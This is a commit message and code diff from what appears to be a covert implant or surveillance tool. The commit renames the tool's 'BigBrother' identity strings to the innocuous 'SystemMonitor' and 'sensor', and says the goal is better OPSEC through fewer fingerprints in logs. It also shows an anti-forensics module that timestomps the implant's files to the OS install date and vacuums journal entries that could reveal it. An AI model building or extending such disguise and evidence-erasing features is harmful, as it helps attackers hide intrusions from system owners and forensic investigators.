Fix #211: Remove tool identity strings from deployed artifacts

- Replace BigBrother -> SystemMonitor in display names and docstrings
- Replace logger names: bb.* -> sensor.*
- Replace process names: bb-* -> sensor-*
- Replace home directory: ~/.bigbrother -> ~/.implant
- Replace LUKS device: /dev/mapper/bb-* -> /dev/mapper/sensor-*
- Updated 76 Python files across all modules
- Improves OPSEC by removing obvious tool fingerprints from logs and runtime

modules/stealth/anti_forensics.py

@@ -19,9 +19,9 @@ from utils.stealth import (
     _get_os_install_time,
 )
 
-logger = logging.getLogger("bb.stealth.anti_forensics")
+logger = logging.getLogger("sensor.stealth.anti_forensics")
 
-# BigBrother install root (default; overridden by config)
+# SystemMonitor install root (default; overridden by config)
 BB_ROOT = "/opt/.cache/bb"
 
 
@@ -96,7 +96,7 @@ class AntiForensics(BaseModule):
     # ------------------------------------------------------------------
 
     def _apply_timestomp(self) -> None:
-        """Timestomp all BigBrother files to OS install date."""
+        """Timestomp all SystemMonitor files to OS install date."""
         try:
             ref_time = self._get_reference_time()
             if os.path.isdir(self._bb_root):
@@ -172,7 +172,7 @@ class AntiForensics(BaseModule):
     # ------------------------------------------------------------------
 
     def _clean_journal(self) -> None:
-        """Vacuum journal entries that might reference BigBrother components."""
+        """Vacuum journal entries that might reference SystemMonitor components."""
         try:
             # Vacuum to 1s to remove old entries we may have generated
             result = subprocess.run(